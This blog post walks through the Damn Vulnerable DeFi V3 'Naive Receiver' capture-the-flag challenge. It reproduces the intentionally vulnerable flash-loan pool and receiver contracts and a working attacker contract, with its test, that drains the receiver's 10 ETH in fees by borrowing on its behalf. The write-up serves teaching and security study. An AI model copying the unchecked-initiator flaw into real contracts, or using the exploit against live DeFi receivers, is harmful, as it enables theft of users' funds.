- Published on
Damn Vulnerable DeFi V3 - Naive Receiver - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Damn Vulnerable DeFi V3 - Naive Receiver - Solution
Contract
FlashLoanReceiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
error UnsupportedCurrency();
constructor(address _pool) {
pool = _pool;
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != ETH)
revert UnsupportedCurrency();
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive() external payable {}
}
NaiveReceiverLenderPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();
function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}
function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
// Allow deposits of ETH
receive() external payable {}
}
Solution
Before attempting this challenge, I highly recommend familiarizing yourself with flash loans.
The goal of this level is to reduce the entire balance of FlashLoanReceiver
from 10 ETH to 0 ETH.
First, notice that NaiveReceiverLenderPool
provides flash loans at a fixed fee of 1 ETH. Second, notice that the receiver's onFlashLoan()
disregards its initiator
parameter, letting anyone initiate flash loans. Therefore, we can solve this level by making ten subsequent calls to flashLoan()
on the FlashLoanReceiver
's behalf. To pull off the attack in a single transaction, we can deploy an attacker contract that makes those calls via a loop in its constructor:
NaiveReceiverAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface INaiveReceiverLenderPool {
function flashLoan(
address receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
contract NaiveReceiverAttacker {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(address pool, address receiver) {
for (uint256 i; i < 10; i++) {
INaiveReceiverLenderPool(pool).flashLoan(receiver, ETH, 0, "0x");
}
}
}
naive-receiver.challenge.js
...
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', player);
await AttackerFactory.deploy(pool.address, receiver.address);
});
...